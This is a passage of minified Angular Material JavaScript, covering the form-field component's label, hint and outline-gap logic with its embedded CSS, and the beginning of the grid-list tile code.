E.xQ,this._hideRequiredMarker=!1,this._showAlwaysAnimate=!1,this._subscriptAnimationState="",this._hintLabel="",this._hintLabelId="mat-hint-"+X++,this._labelId="mat-form-field-label-"+X++,this.floatLabel=this._getDefaultFloatLabelState(),this._animationsEnabled="NoopAnimations"!==wt,this.appearance=ie?.appearance||"legacy",ie&&(this._hideRequiredMarker=Boolean(ie.hideRequiredMarker),ie.color&&(this.color=this.defaultColor=ie.color))}get appearance(){return this._appearance}set appearance(m){const b=this._appearance;this._appearance=m||this._defaults?.appearance||"legacy","outline"===this._appearance&&b!==m&&(this._outlineGapCalculationNeededOnStable=!0)}get hideRequiredMarker(){return this._hideRequiredMarker}set hideRequiredMarker(m){this._hideRequiredMarker=(0,f.Ig)(m)}_shouldAlwaysFloat(){return"always"===this.floatLabel&&!this._showAlwaysAnimate}_canLabelFloat(){return"never"!==this.floatLabel}get hintLabel(){return this._hintLabel}set hintLabel(m){this._hintLabel=m,this._processHints()}get floatLabel(){return"legacy"!==this.appearance&&"never"===this._floatLabel?"auto":this._floatLabel}set floatLabel(m){m!==this._floatLabel&&(this._floatLabel=m||this._getDefaultFloatLabelState(),this._changeDetectorRef.markForCheck())}get _control(){return this._explicitFormFieldControl||this._controlNonStatic||this._controlStatic}set _control(m){this._explicitFormFieldControl=m}getLabelId(){return this._hasFloatingLabel()?this._labelId:null}getConnectedOverlayOrigin(){return this._connectionContainerRef||this._elementRef}ngAfterContentInit(){this._validateControlChild();const m=this._control;m.controlType&&this._elementRef.nativeElement.classList.add(`mat-form-field-type-${m.controlType}`),m.stateChanges.pipe((0,g.O)(null)).subscribe(()=>{this._validatePlaceholders(),this._syncDescribedByIds(),this._changeDetectorRef.markForCheck()}),m.ngControl&&m.ngControl.valueChanges&&m.ngControl.valueChanges.pipe((0,C.R)(this._destroyed)).subscribe(()=>this._changeDetectorRef.markForCheck()),this._ngZone.runOutsideAngular(()=>{this._ngZone.onStable.pipe((0,C.R)(this._destroyed)).subscribe(()=>{this._outlineGapCalculationNeededOnStable&&this.updateOutlineGap()})}),(0,_.T)(this._prefixChildren.changes,this._suffixChildren.changes).subscribe(()=>{this._outlineGapCalculationNeededOnStable=!0,this._changeDetectorRef.markForCheck()}),this._hintChildren.changes.pipe((0,g.O)(null)).subscribe(()=>{this._processHints(),this._changeDetectorRef.markForCheck()}),this._errorChildren.changes.pipe((0,g.O)(null)).subscribe(()=>{this._syncDescribedByIds(),this._changeDetectorRef.markForCheck()}),this._dir&&this._dir.change.pipe((0,C.R)(this._destroyed)).subscribe(()=>{"function"==typeof requestAnimationFrame?this._ngZone.runOutsideAngular(()=>{requestAnimationFrame(()=>this.updateOutlineGap())}):this.updateOutlineGap()})}ngAfterContentChecked(){this._validateControlChild(),this._outlineGapCalculationNeededImmediately&&this.updateOutlineGap()}ngAfterViewInit(){this._subscriptAnimationState="enter",this._changeDetectorRef.detectChanges()}ngOnDestroy(){this._destroyed.next(),this._destroyed.complete()}_shouldForward(m){const b=this._control?this._control.ngControl:null;return b&&b[m]}_hasPlaceholder(){return!!(this._control&&this._control.placeholder||this._placeholderChild)}_hasLabel(){return!(!this._labelChildNonStatic&&!this._labelChildStatic)}_shouldLabelFloat(){return this._canLabelFloat()&&(this._control&&this._control.shouldLabelFloat||this._shouldAlwaysFloat())}_hideControlPlaceholder(){return"legacy"===this.appearance&&!this._hasLabel()||this._hasLabel()&&!this._shouldLabelFloat()}_hasFloatingLabel(){return this._hasLabel()||"legacy"===this.appearance&&this._hasPlaceholder()}_getDisplayedMessages(){return this._errorChildren&&this._errorChildren.length>0&&this._control.errorState?"error":"hint"}_animateAndLockLabel(){this._hasFloatingLabel()&&this._canLabelFloat()&&(this._animationsEnabled&&this._label&&(this._showAlwaysAnimate=!0,(0,S.R)(this._label.nativeElement,"transitionend").pipe((0,z.q)(1)).subscribe(()=>{this._showAlwaysAnimate=!1})),this.floatLabel="always",this._changeDetectorRef.markForCheck())}_validatePlaceholders(){}_processHints(){this._validateHints(),this._syncDescribedByIds()}_validateHints(){}_getDefaultFloatLabelState(){return this._defaults&&this._defaults.floatLabel||"auto"}_syncDescribedByIds(){if(this._control){let m=[];if(this._control.userAriaDescribedBy&&"string"==typeof this._control.userAriaDescribedBy&&m.push(...this._control.userAriaDescribedBy.split(" ")),"hint"===this._getDisplayedMessages()){const b=this._hintChildren?this._hintChildren.find(ie=>"start"===ie.align):null,B=this._hintChildren?this._hintChildren.find(ie=>"end"===ie.align):null;b?m.push(b.id):this._hintLabel&&m.push(this._hintLabelId),B&&m.push(B.id)}else this._errorChildren&&m.push(...this._errorChildren.map(b=>b.id));this._control.setDescribedByIds(m)}}_validateControlChild(){}updateOutlineGap(){const m=this._label?this._label.nativeElement:null,b=this._connectionContainerRef.nativeElement,B=".mat-form-field-outline-start",ie=".mat-form-field-outline-gap";if("outline"!==this.appearance||!this._platform.isBrowser)return;if(!m||!m.children.length||!m.textContent.trim()){const Gt=b.querySelectorAll(`${B}, ${ie}`);for(let qt=0;qt<Gt.length;qt++)Gt[qt].style.width="0";return}if(!this._isAttachedToDOM())return void(this._outlineGapCalculationNeededImmediately=!0);let Xe=0,it=0;const wt=b.querySelectorAll(B),Vt=b.querySelectorAll(ie);if(this._label&&this._label.nativeElement.children.length){const Gt=b.getBoundingClientRect();if(0===Gt.width&&0===Gt.height)return this._outlineGapCalculationNeededOnStable=!0,void(this._outlineGapCalculationNeededImmediately=!1);const qt=this._getStartEnd(Gt),u1=m.children,c1=this._getStartEnd(u1[0].getBoundingClientRect());let It=0;for(let _t=0;_t<u1.length;_t++)It+=u1[_t].offsetWidth;Xe=Math.abs(c1-qt)-5,it=It>0?.75*It+10:0}for(let Gt=0;Gt<wt.length;Gt++)wt[Gt].style.width=`${Xe}px`;for(let Gt=0;Gt<Vt.length;Gt++)Vt[Gt].style.width=`${it}px`;this._outlineGapCalculationNeededOnStable=this._outlineGapCalculationNeededImmediately=!1}_getStartEnd(m){return this._dir&&"rtl"===this._dir.value?m.right:m.left}_isAttachedToDOM(){const m=this._elementRef.nativeElement;if(m.getRootNode){const b=m.getRootNode();return b&&b!==m}return document.documentElement.contains(m)}}return te.\\u0275fac=function(m){return new(m||te)(s.Y36(s.SBq),s.Y36(s.sBO),s.Y36(c.Is,8),s.Y36(Et,8),s.Y36(j.t4),s.Y36(s.R0b),s.Y36(s.QbO,8))},te.\\u0275cmp=s.Xpm({type:te,selectors:[["mat-form-field"]],contentQueries:function(m,b,B){if(1&m&&(s.Suo(B,dt,5),s.Suo(B,dt,7),s.Suo(B,xt,5),s.Suo(B,xt,7),s.Suo(B,Be,5),s.Suo(B,Ye,5),s.Suo(B,ve,5),s.Suo(B,pe,5),s.Suo(B,w,5)),2&m){let ie;s.iGM(ie=s.CRH())&&(b._controlNonStatic=ie.first),s.iGM(ie=s.CRH())&&(b._controlStatic=ie.first),s.iGM(ie=s.CRH())&&(b._labelChildNonStatic=ie.first),s.iGM(ie=s.CRH())&&(b._labelChildStatic=ie.first),s.iGM(ie=s.CRH())&&(b._placeholderChild=ie.first),s.iGM(ie=s.CRH())&&(b._errorChildren=ie),s.iGM(ie=s.CRH())&&(b._hintChildren=ie),s.iGM(ie=s.CRH())&&(b._prefixChildren=ie),s.iGM(ie=s.CRH())&&(b._suffixChildren=ie)}},viewQuery:function(m,b){if(1&m&&(s.Gf(U,7),s.Gf(G,5),s.Gf(Q,5)),2&m){let B;s.iGM(B=s.CRH())&&(b._connectionContainerRef=B.first),s.iGM(B=s.CRH())&&(b._inputContainerRef=B.first),s.iGM(B=s.CRH())&&(b._label=B.first)}},hostAttrs:[1,"mat-form-field"],hostVars:40,hostBindings:function(m,b){2&m&&s.ekj("mat-form-field-appearance-standard","standard"==b.appearance)("mat-form-field-appearance-fill","fill"==b.appearance)("mat-form-field-appearance-outline","outline"==b.appearance)("mat-form-field-appearance-legacy","legacy"==b.appearance)("mat-form-field-invalid",b._control.errorState)("mat-form-field-can-float",b._canLabelFloat())("mat-form-field-should-float",b._shouldLabelFloat())("mat-form-field-has-label",b._hasFloatingLabel())("mat-form-field-hide-placeholder",b._hideControlPlaceholder())("mat-form-field-disabled",b._control.disabled)("mat-form-field-autofilled",b._control.autofilled)("mat-focused",b._control.focused)("ng-untouched",b._shouldForward("untouched"))("ng-touched",b._shouldForward("touched"))("ng-pristine",b._shouldForward("pristine"))("ng-dirty",b._shouldForward("dirty"))("ng-valid",b._shouldForward("valid"))("ng-invalid",b._shouldForward("invalid"))("ng-pending",b._shouldForward("pending"))("_mat-animation-noopable",!b._animationsEnabled)},inputs:{color:"color",appearance:"appearance",hideRequiredMarker:"hideRequiredMarker",hintLabel:"hintLabel",floatLabel:"floatLabel"},exportAs:["matFormField"],features:[s._Bn([{provide:Dt,useExisting:te}]),s.qOj],ngContentSelectors:Oe,decls:15,vars:8,consts:[[1,"mat-form-field-wrapper"],[1,"mat-form-field-flex",3,"click"],["connectionContainer",""],[4,"ngIf"],["class","mat-form-field-prefix",3,"cdkObserveContentDisabled","cdkObserveContent",4,"ngIf"],[1,"mat-form-field-infix"],["inputContainer",""],[1,"mat-form-field-label-wrapper"],["class","mat-form-field-label",3,"cdkObserveContentDisabled","id","mat-empty","mat-form-field-empty","mat-accent","mat-warn","ngSwitch","cdkObserveContent",4,"ngIf"],["class","mat-form-field-suffix",4,"ngIf"],["class","mat-form-field-underline",4,"ngIf"],[1,"mat-form-field-subscript-wrapper",3,"ngSwitch"],[4,"ngSwitchCase"],["class","mat-form-field-hint-wrapper",4,"ngSwitchCase"],[1,"mat-form-field-outline"],[1,"mat-form-field-outline-start"],[1,"mat-form-field-outline-gap"],[1,"mat-form-field-outline-end"],[1,"mat-form-field-outline","mat-form-field-outline-thick"],[1,"mat-form-field-prefix",3,"cdkObserveContentDisabled","cdkObserveContent"],[1,"mat-form-field-label",3,"cdkObserveContentDisabled","id","ngSwitch","cdkObserveContent"],["label",""],["class","mat-placeholder-required mat-form-field-required-marker","aria-hidden","true",4,"ngIf"],["aria-hidden","true",1,"mat-placeholder-required","mat-form-field-required-marker"],[1,"mat-form-field-suffix"],[1,"mat-form-field-underline"],[1,"mat-form-field-ripple"],[1,"mat-form-field-hint-wrapper"],["class","mat-hint",3,"id",4,"ngIf"],[1,"mat-form-field-hint-spacer"],[1,"mat-hint",3,"id"]],template:function(m,b){1&m&&(s.F$t(le),s.TgZ(0,"div",0)(1,"div",1,2),s.NdJ("click",function(ie){return b._control.onContainerClick&&b._control.onContainerClick(ie)}),s.YNc(3,oe,9,0,"ng-container",3),s.YNc(4,Ce,2,1,"div",4),s.TgZ(5,"div",5,6),s.Hsn(7),s.TgZ(8,"span",7),s.YNc(9,ee,5,16,"label",8),s.qZA()(),s.YNc(10,q,2,0,"div",9),s.qZA(),s.YNc(11,we,2,4,"div",10),s.TgZ(12,"div",11),s.YNc(13,ce,2,1,"div",12),s.YNc(14,Ze,5,2,"div",13),s.qZA()()),2&m&&(s.xp6(3),s.Q6J("ngIf","outline"==b.appearance),s.xp6(1),s.Q6J("ngIf",b._prefixChildren.length),s.xp6(5),s.Q6J("ngIf",b._hasFloatingLabel()),s.xp6(1),s.Q6J("ngIf",b._suffixChildren.length),s.xp6(1),s.Q6J("ngIf","outline"!=b.appearance),s.xp6(1),s.Q6J("ngSwitch",b._getDisplayedMessages()),s.xp6(1),s.Q6J("ngSwitchCase","error"),s.xp6(1),s.Q6J("ngSwitchCase","hint"))},dependencies:[a.O5,a.RF,a.n9,n.wD],styles:[".mat-form-field{display:inline-block;position:relative;text-align:left}[dir=rtl] .mat-form-field{text-align:right}.mat-form-field-wrapper{position:relative}.mat-form-field-flex{display:inline-flex;align-items:baseline;box-sizing:border-box;width:100%}.mat-form-field-prefix,.mat-form-field-suffix{white-space:nowrap;flex:none;position:relative}.mat-form-field-infix{display:block;position:relative;flex:auto;min-width:0;width:180px}.cdk-high-contrast-active .mat-form-field-infix{border-image:linear-gradient(transparent, transparent)}.mat-form-field-label-wrapper{position:absolute;left:0;box-sizing:content-box;width:100%;height:100%;overflow:hidden;pointer-events:none}[dir=rtl] .mat-form-field-label-wrapper{left:auto;right:0}.mat-form-field-label{position:absolute;left:0;font:inherit;pointer-events:none;width:100%;white-space:nowrap;text-overflow:ellipsis;overflow:hidden;transform-origin:0 0;transition:transform 400ms cubic-bezier(0.25, 0.8, 0.25, 1),color 400ms cubic-bezier(0.25, 0.8, 0.25, 1),width 400ms cubic-bezier(0.25, 0.8, 0.25, 1);display:none}[dir=rtl] .mat-form-field-label{transform-origin:100% 0;left:auto;right:0}.cdk-high-contrast-active .mat-form-field-disabled .mat-form-field-label{color:GrayText}.mat-form-field-empty.mat-form-field-label,.mat-form-field-can-float.mat-form-field-should-float .mat-form-field-label{display:block}.mat-form-field-autofill-control:-webkit-autofill+.mat-form-field-label-wrapper .mat-form-field-label{display:none}.mat-form-field-can-float .mat-form-field-autofill-control:-webkit-autofill+.mat-form-field-label-wrapper .mat-form-field-label{display:block;transition:none}.mat-input-server:focus+.mat-form-field-label-wrapper .mat-form-field-label,.mat-input-server[placeholder]:not(:placeholder-shown)+.mat-form-field-label-wrapper .mat-form-field-label{display:none}.mat-form-field-can-float .mat-input-server:focus+.mat-form-field-label-wrapper .mat-form-field-label,.mat-form-field-can-float .mat-input-server[placeholder]:not(:placeholder-shown)+.mat-form-field-label-wrapper .mat-form-field-label{display:block}.mat-form-field-label:not(.mat-form-field-empty){transition:none}.mat-form-field-underline{position:absolute;width:100%;pointer-events:none;transform:scale3d(1, 1.0001, 1)}.mat-form-field-ripple{position:absolute;left:0;width:100%;transform-origin:50%;transform:scaleX(0.5);opacity:0;transition:background-color 300ms cubic-bezier(0.55, 0, 0.55, 0.2)}.mat-form-field.mat-focused .mat-form-field-ripple,.mat-form-field.mat-form-field-invalid .mat-form-field-ripple{opacity:1;transform:none;transition:transform 300ms cubic-bezier(0.25, 0.8, 0.25, 1),opacity 100ms cubic-bezier(0.25, 0.8, 0.25, 1),background-color 300ms cubic-bezier(0.25, 0.8, 0.25, 1)}.mat-form-field-subscript-wrapper{position:absolute;box-sizing:border-box;width:100%;overflow:hidden}.mat-form-field-subscript-wrapper .mat-icon,.mat-form-field-label-wrapper .mat-icon{width:1em;height:1em;font-size:inherit;vertical-align:baseline}.mat-form-field-hint-wrapper{display:flex}.mat-form-field-hint-spacer{flex:1 0 1em}.mat-error{display:block}.mat-form-field-control-wrapper{position:relative}.mat-form-field-hint-end{order:1}.mat-form-field._mat-animation-noopable .mat-form-field-label,.mat-form-field._mat-animation-noopable .mat-form-field-ripple{transition:none}",\'.mat-form-field-appearance-fill .mat-form-field-flex{border-radius:4px 4px 0 0;padding:.75em .75em 0 .75em}.cdk-high-contrast-active .mat-form-field-appearance-fill .mat-form-field-flex{outline:solid 1px}.cdk-high-contrast-active .mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-flex{outline-color:GrayText}.cdk-high-contrast-active .mat-form-field-appearance-fill.mat-focused .mat-form-field-flex{outline:dashed 3px}.mat-form-field-appearance-fill .mat-form-field-underline::before{content:"";display:block;position:absolute;bottom:0;height:1px;width:100%}.mat-form-field-appearance-fill .mat-form-field-ripple{bottom:0;height:2px}.cdk-high-contrast-active .mat-form-field-appearance-fill .mat-form-field-ripple{height:0}.mat-form-field-appearance-fill:not(.mat-form-field-disabled) .mat-form-field-flex:hover~.mat-form-field-underline .mat-form-field-ripple{opacity:1;transform:none;transition:opacity 600ms cubic-bezier(0.25, 0.8, 0.25, 1)}.mat-form-field-appearance-fill._mat-animation-noopable:not(.mat-form-field-disabled) .mat-form-field-flex:hover~.mat-form-field-underline .mat-form-field-ripple{transition:none}.mat-form-field-appearance-fill .mat-form-field-subscript-wrapper{padding:0 1em}\',\'.mat-input-element{font:inherit;background:rgba(0,0,0,0);color:currentColor;border:none;outline:none;padding:0;margin:0;width:100%;max-width:100%;vertical-align:bottom;text-align:inherit;box-sizing:content-box}.mat-input-element:-moz-ui-invalid{box-shadow:none}.mat-input-element,.mat-input-element::-webkit-search-cancel-button,.mat-input-element::-webkit-search-decoration,.mat-input-element::-webkit-search-results-button,.mat-input-element::-webkit-search-results-decoration{-webkit-appearance:none}.mat-input-element::-webkit-contacts-auto-fill-button,.mat-input-element::-webkit-caps-lock-indicator,.mat-input-element:not([type=password])::-webkit-credentials-auto-fill-button{visibility:hidden}.mat-input-element[type=date],.mat-input-element[type=datetime],.mat-input-element[type=datetime-local],.mat-input-element[type=month],.mat-input-element[type=week],.mat-input-element[type=time]{line-height:1}.mat-input-element[type=date]::after,.mat-input-element[type=datetime]::after,.mat-input-element[type=datetime-local]::after,.mat-input-element[type=month]::after,.mat-input-element[type=week]::after,.mat-input-element[type=time]::after{content:" ";white-space:pre;width:1px}.mat-input-element::-webkit-inner-spin-button,.mat-input-element::-webkit-calendar-picker-indicator,.mat-input-element::-webkit-clear-button{font-size:.75em}.mat-input-element::placeholder{-webkit-user-select:none;user-select:none;transition:color 400ms 133.3333333333ms cubic-bezier(0.25, 0.8, 0.25, 1)}.mat-input-element::-moz-placeholder{-webkit-user-select:none;user-select:none;transition:color 400ms 133.3333333333ms cubic-bezier(0.25, 0.8, 0.25, 1)}.mat-input-element::-webkit-input-placeholder{-webkit-user-select:none;user-select:none;transition:color 400ms 133.3333333333ms cubic-bezier(0.25, 0.8, 0.25, 1)}.mat-input-element:-ms-input-placeholder{-webkit-user-select:none;user-select:none;transition:color 400ms 133.3333333333ms cubic-bezier(0.25, 0.8, 0.25, 1)}.mat-form-field-hide-placeholder .mat-input-element::placeholder{color:rgba(0,0,0,0) !important;-webkit-text-fill-color:rgba(0,0,0,0);transition:none}.cdk-high-contrast-active .mat-form-field-hide-placeholder .mat-input-element::placeholder{opacity:0}.mat-form-field-hide-placeholder .mat-input-element::-moz-placeholder{color:rgba(0,0,0,0) !important;-webkit-text-fill-color:rgba(0,0,0,0);transition:none}.cdk-high-contrast-active .mat-form-field-hide-placeholder .mat-input-element::-moz-placeholder{opacity:0}.mat-form-field-hide-placeholder .mat-input-element::-webkit-input-placeholder{color:rgba(0,0,0,0) !important;-webkit-text-fill-color:rgba(0,0,0,0);transition:none}.cdk-high-contrast-active .mat-form-field-hide-placeholder .mat-input-element::-webkit-input-placeholder{opacity:0}.mat-form-field-hide-placeholder .mat-input-element:-ms-input-placeholder{color:rgba(0,0,0,0) !important;-webkit-text-fill-color:rgba(0,0,0,0);transition:none}.cdk-high-contrast-active .mat-form-field-hide-placeholder .mat-input-element:-ms-input-placeholder{opacity:0}._mat-animation-noopable .mat-input-element::placeholder{transition:none}._mat-animation-noopable .mat-input-element::-moz-placeholder{transition:none}._mat-animation-noopable .mat-input-element::-webkit-input-placeholder{transition:none}._mat-animation-noopable .mat-input-element:-ms-input-placeholder{transition:none}textarea.mat-input-element{resize:vertical;overflow:auto}textarea.mat-input-element.cdk-textarea-autosize{resize:none}textarea.mat-input-element{padding:2px 0;margin:-2px 0}select.mat-input-element{-moz-appearance:none;-webkit-appearance:none;position:relative;background-color:rgba(0,0,0,0);display:inline-flex;box-sizing:border-box;padding-top:1em;top:-1em;margin-bottom:-1em}select.mat-input-element::-moz-focus-inner{border:0}select.mat-input-element:not(:disabled){cursor:pointer}.mat-form-field-type-mat-native-select .mat-form-field-infix::after{content:"";width:0;height:0;border-left:5px solid rgba(0,0,0,0);border-right:5px solid rgba(0,0,0,0);border-top:5px solid;position:absolute;top:50%;right:0;margin-top:-2.5px;pointer-events:none}[dir=rtl] .mat-form-field-type-mat-native-select .mat-form-field-infix::after{right:auto;left:0}.mat-form-field-type-mat-native-select .mat-input-element{padding-right:15px}[dir=rtl] .mat-form-field-type-mat-native-select .mat-input-element{padding-right:0;padding-left:15px}.mat-form-field-type-mat-native-select .mat-form-field-label-wrapper{max-width:calc(100% - 10px)}.mat-form-field-type-mat-native-select.mat-form-field-appearance-outline .mat-form-field-infix::after{margin-top:-5px}.mat-form-field-type-mat-native-select.mat-form-field-appearance-fill .mat-form-field-infix::after{margin-top:-10px}\',".mat-form-field-appearance-legacy .mat-form-field-label{transform:perspective(100px)}.mat-form-field-appearance-legacy .mat-form-field-prefix .mat-icon,.mat-form-field-appearance-legacy .mat-form-field-suffix .mat-icon{width:1em}.mat-form-field-appearance-legacy .mat-form-field-prefix .mat-icon-button,.mat-form-field-appearance-legacy .mat-form-field-suffix .mat-icon-button{font:inherit;vertical-align:baseline}.mat-form-field-appearance-legacy .mat-form-field-prefix .mat-icon-button .mat-icon,.mat-form-field-appearance-legacy .mat-form-field-suffix .mat-icon-button .mat-icon{font-size:inherit}.mat-form-field-appearance-legacy .mat-form-field-underline{height:1px}.cdk-high-contrast-active .mat-form-field-appearance-legacy .mat-form-field-underline{height:0;border-top:solid 1px}.mat-form-field-appearance-legacy .mat-form-field-ripple{top:0;height:2px;overflow:hidden}.cdk-high-contrast-active .mat-form-field-appearance-legacy .mat-form-field-ripple{height:0;border-top:solid 2px}.mat-form-field-appearance-legacy.mat-form-field-disabled .mat-form-field-underline{background-position:0;background-color:rgba(0,0,0,0)}.cdk-high-contrast-active .mat-form-field-appearance-legacy.mat-form-field-disabled .mat-form-field-underline{border-top-style:dotted;border-top-width:2px;border-top-color:GrayText}.mat-form-field-appearance-legacy.mat-form-field-invalid:not(.mat-focused) .mat-form-field-ripple{height:1px}",".mat-form-field-appearance-outline .mat-form-field-wrapper{margin:.25em 0}.mat-form-field-appearance-outline .mat-form-field-flex{padding:0 .75em 0 .75em;margin-top:-0.25em;position:relative}.mat-form-field-appearance-outline .mat-form-field-prefix,.mat-form-field-appearance-outline .mat-form-field-suffix{top:.25em}.mat-form-field-appearance-outline .mat-form-field-outline{display:flex;position:absolute;top:.25em;left:0;right:0;bottom:0;pointer-events:none}.mat-form-field-appearance-outline .mat-form-field-outline-start,.mat-form-field-appearance-outline .mat-form-field-outline-end{border:1px solid currentColor;min-width:5px}.mat-form-field-appearance-outline .mat-form-field-outline-start{border-radius:5px 0 0 5px;border-right-style:none}[dir=rtl] .mat-form-field-appearance-outline .mat-form-field-outline-start{border-right-style:solid;border-left-style:none;border-radius:0 5px 5px 0}.mat-form-field-appearance-outline .mat-form-field-outline-end{border-radius:0 5px 5px 0;border-left-style:none;flex-grow:1}[dir=rtl] .mat-form-field-appearance-outline .mat-form-field-outline-end{border-left-style:solid;border-right-style:none;border-radius:5px 0 0 5px}.mat-form-field-appearance-outline .mat-form-field-outline-gap{border-radius:.000001px;border:1px solid currentColor;border-left-style:none;border-right-style:none}.mat-form-field-appearance-outline.mat-form-field-can-float.mat-form-field-should-float .mat-form-field-outline-gap{border-top-color:rgba(0,0,0,0)}.mat-form-field-appearance-outline .mat-form-field-outline-thick{opacity:0}.mat-form-field-appearance-outline .mat-form-field-outline-thick .mat-form-field-outline-start,.mat-form-field-appearance-outline .mat-form-field-outline-thick .mat-form-field-outline-end,.mat-form-field-appearance-outline .mat-form-field-outline-thick .mat-form-field-outline-gap{border-width:2px}.mat-form-field-appearance-outline.mat-focused .mat-form-field-outline,.mat-form-field-appearance-outline.mat-form-field-invalid .mat-form-field-outline{opacity:0;transition:opacity 100ms cubic-bezier(0.25, 0.8, 0.25, 1)}.mat-form-field-appearance-outline.mat-focused .mat-form-field-outline-thick,.mat-form-field-appearance-outline.mat-form-field-invalid .mat-form-field-outline-thick{opacity:1}.cdk-high-contrast-active .mat-form-field-appearance-outline.mat-focused .mat-form-field-outline-thick{border:3px dashed}.mat-form-field-appearance-outline:not(.mat-form-field-disabled) .mat-form-field-flex:hover .mat-form-field-outline{opacity:0;transition:opacity 600ms cubic-bezier(0.25, 0.8, 0.25, 1)}.mat-form-field-appearance-outline:not(.mat-form-field-disabled) .mat-form-field-flex:hover .mat-form-field-outline-thick{opacity:1}.mat-form-field-appearance-outline .mat-form-field-subscript-wrapper{padding:0 1em}.cdk-high-contrast-active .mat-form-field-appearance-outline.mat-form-field-disabled .mat-form-field-outline{color:GrayText}.mat-form-field-appearance-outline._mat-animation-noopable:not(.mat-form-field-disabled) .mat-form-field-flex:hover~.mat-form-field-outline,.mat-form-field-appearance-outline._mat-animation-noopable .mat-form-field-outline,.mat-form-field-appearance-outline._mat-animation-noopable .mat-form-field-outline-start,.mat-form-field-appearance-outline._mat-animation-noopable .mat-form-field-outline-end,.mat-form-field-appearance-outline._mat-animation-noopable .mat-form-field-outline-gap{transition:none}",".mat-form-field-appearance-standard .mat-form-field-flex{padding-top:.75em}.mat-form-field-appearance-standard .mat-form-field-underline{height:1px}.cdk-high-contrast-active .mat-form-field-appearance-standard .mat-form-field-underline{height:0;border-top:solid 1px}.mat-form-field-appearance-standard .mat-form-field-ripple{bottom:0;height:2px}.cdk-high-contrast-active .mat-form-field-appearance-standard .mat-form-field-ripple{height:0;border-top:solid 2px}.mat-form-field-appearance-standard.mat-form-field-disabled .mat-form-field-underline{background-position:0;background-color:rgba(0,0,0,0)}.cdk-high-contrast-active .mat-form-field-appearance-standard.mat-form-field-disabled .mat-form-field-underline{border-top-style:dotted;border-top-width:2px}.mat-form-field-appearance-standard:not(.mat-form-field-disabled) .mat-form-field-flex:hover~.mat-form-field-underline .mat-form-field-ripple{opacity:1;transform:none;transition:opacity 600ms cubic-bezier(0.25, 0.8, 0.25, 1)}.mat-form-field-appearance-standard._mat-animation-noopable:not(.mat-form-field-disabled) .mat-form-field-flex:hover~.mat-form-field-underline .mat-form-field-ripple{transition:none}"],encapsulation:2,data:{animation:[Ke.transitionMessages]},changeDetection:0}),te})(),Ie=(()=>{class te{}return te.\\u0275fac=function(m){return new(m||te)},te.\\u0275mod=s.oAB({type:te}),te.\\u0275inj=s.cJS({imports:[a.ez,u.BQ,n.Q8,u.BQ]}),te})()},782:(At,ae,d)=>{"use strict";d.d(ae,{DX:()=>z,Il:()=>we,N6:()=>ce});var n=d(4650),a=d(3238),s=d(1281),u=d(445);const c=["*"];class S{constructor(){this.columnIndex=0,this.rowIndex=0}get rowCount(){return this.rowIndex+1}get rowspan(){const le=Math.max(...this.tracker);return le>1?this.rowCount+le-1:this.rowCount}update(le,Oe){this.columnIndex=0,this.rowIndex=0,this.tracker=new Array(le),this.tracker.fill(0,0,this.tracker.length),this.positions=Oe.map(Qe=>this._trackTile(Qe))}_trackTile(le){const Oe=this._findMatchingGap(le.colspan);return this._markTilePosition(Oe,le),this.columnIndex=Oe+le.colspan,new g(this.rowIndex,Oe)}_findMatchingGap(le){let Oe=-1,Qe=-1;do{this.columnIndex+le>this.tracker.length?(this._nextRow(),Oe=this.tracker.indexOf(0,this.columnIndex),Qe=this._findGapEndIndex(Oe)):(Oe=this.tracker.indexOf(0,this.columnIndex),-1!=Oe?(Qe=this._findGapEndIndex(Oe),this.columnIndex=Oe+1):(this._nextRow(),Oe=this.tracker.indexOf(0,this.columnIndex),Qe=this._findGapEndIndex(Oe)))}while(Qe-Oe<le||0==Qe);return Math.max(Oe,0)}_nextRow(){this.columnIndex=0,this.rowIndex++;for(let le=0;le<this.tracker.length;le++)this.tracker[le]=Math.max(0,this.tracker[le]-1)}_findGapEndIndex(le){for(let Oe=le+1;Oe<this.tracker.length;Oe++)if(0!=this.tracker[Oe])return Oe;return this.tracker.length}_markTilePosition(le,Oe){for(let Qe=0;Qe<Oe.colspan;Qe++)this.tracker[le+Qe]=Oe.rowspan}}class g{constructor(le,Oe){this.row=le,this.col=Oe}}const C=new n.OlP("MAT_GRID_LIST");let z=(()=>{class Ze{constructor(Oe,Qe){this._element=Oe,this._gridList=Qe,this._rowspan=1,this._colspan=1}get rowspan(){return this._rowspan}set rowspan(Oe){this._rowspan=Math.round((0,s.su)(Oe))}get colspan(){return this._colspan}set colspan(Oe){this._colspan=Math.round((0,s.su)(Oe))}_setStyle(Oe,Qe){this._element.nativeElement.style[Oe]=Qe}}return Ze.\\u0275fac=function(Oe){return new(Oe||Ze)(n.Y36(n.SBq),n.Y36(C,8))},Ze.\\u0275cmp=n.Xpm({type:Ze,selectors:[["mat-grid-tile"]],hostAttrs:[1,"mat-grid-tile"],hostVars:2,hostBindings:function(Oe,Qe){2&Oe&&n.uIk("rowspan",Qe.rowspan)("colspan",Qe.colspan)},inputs:{rowspan:"rowspan",colspan:"colspan"},exportAs:["matGridTile"],ngContentSelectors:c,decls:2,vars:0,consts:[[1,"mat-grid-tile-content"]],template:function(Oe,Qe){1&Oe&&(n.F$t(),n.TgZ(0,"div",0),n.Hsn(1),n.qZA())},styles:[".mat-grid-list{display:block;position:relative}.mat-grid-tile{display:block;position:absolute;overflow:hidden}.mat-grid-tile .mat-grid-tile-header,.mat-grid-tile .mat-grid-tile-footer{display:flex;align-items:center;height:48px;color:#fff;background:rgba(0,0,0,.38);overflow:hidden;padding:0 16px;position:absolute;left:0;right:0}.mat-grid-tile .mat-grid-tile-header>*,.mat-grid-tile .mat-grid-tile-footer>*{margin:0;padding:0;font-weight:normal;font-size:inherit}.mat-grid-tile .mat-grid-tile-header.mat-2-line,.mat-grid-tile .mat-grid-tile-footer.mat-2-line{height:68px}.mat-grid-tile .mat-grid-list-text{display:flex;flex-direction:column;flex:auto;box-sizing:border-box;overflow:hidden}.mat-grid-tile .mat-grid-list-text>*{margin:0;padding:0;font-weight:normal;font-size:inherit}.mat-grid-tile .mat-grid-list-text:empty{display:none}.mat-grid-tile .mat-grid-tile-header{top:0}.mat-grid-tile .mat-grid-tile-footer{bottom:0}.mat-grid-tile .mat-grid-avatar{padding-right:16px}[dir=rtl] .mat-grid-tile .mat-grid-avatar{padding-right:0;padding-left:16px}.mat-grid-tile .mat-grid-avatar:empty{display:none}.mat-grid-tile-content{top:0;left:0;right:0;bottom:0;position:absolute;display:flex;align-items:center;justify-content:center;height:100%;padding:0;margin:0}"],encapsulation:2,changeDetection:0}),Ze})();const 